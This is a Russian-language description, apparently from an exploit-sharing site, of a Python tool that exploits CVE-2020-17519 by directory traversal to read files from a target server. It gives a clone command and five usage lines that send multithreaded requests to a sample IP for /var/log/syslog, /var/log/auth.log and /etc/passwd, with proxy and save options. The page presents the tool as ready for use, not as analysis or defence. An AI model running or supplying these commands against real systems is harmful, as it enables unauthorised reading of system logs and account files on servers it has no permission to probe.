CVE-2020-17519

Инструмент обхода журналов

Python-инструмент, использующий технику обхода каталогов для запроса файлов журналов с целевого URL. Отображает прогресс в реальном времени, поддерживает настройку прокси и опционально сохраняет корректные ответы.

Возможности

• Обход каталогов с настраиваемой глубиной
  Использует настраиваемую глубину для обхода каталогов.
• Один файл или несколько путей к файлам
  Поддерживает запрос одного пути к файлу или нескольких путей из файла.
• Поддержка многопоточности
  Выполняет запросы конкурентно с использованием нескольких потоков.
• Поддержка прокси
  Позволяет настроить прокси для запросов.
• Сохранение корректных ответов
  Сохраняет корректные ответы в отдельные файлы.
• Отображение прогресса в реальном времени
  Показывает прогресс в реальном времени с использованием pwntools.

Требования

• Python 3.6 или выше
• Пакеты Python: requests и pwntools (pwn)
• Стандартные библиотеки: argparse, os, concurrent.futures, threading

Установка

1. Клонируйте репозиторий
   root@kitploit:~

   git clone https://github.com/GazettEl/CVE-2020-17519.git
   pip install requests pwntools
   

Использование

Инструмент можно запускать из командной строки с различными параметрами. Ниже приведены некоторые примеры:

Пример 1: Запрос одного пути к файлу

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-path /var/log/syslog --threads 1 --save

Пример 2: Запрос нескольких путей к файлам из списка

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-list file_paths.txt --threads 4 --proxy none

Пример 3: Запуск с отключённым прокси

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 10 --file-path /var/log/auth.log --threads 2 --proxy none

Пример 4: Использование списка файлов и сохранение корректных ответов

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 15 --file-list paths.txt --threads 4 --save

Пример 5: Запрос одного файла с увеличенной глубиной

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 20 --file-path /etc/passwd --threads 1

Для получения дополнительных сведений обратитесь к исходному коду и встроенным комментариям.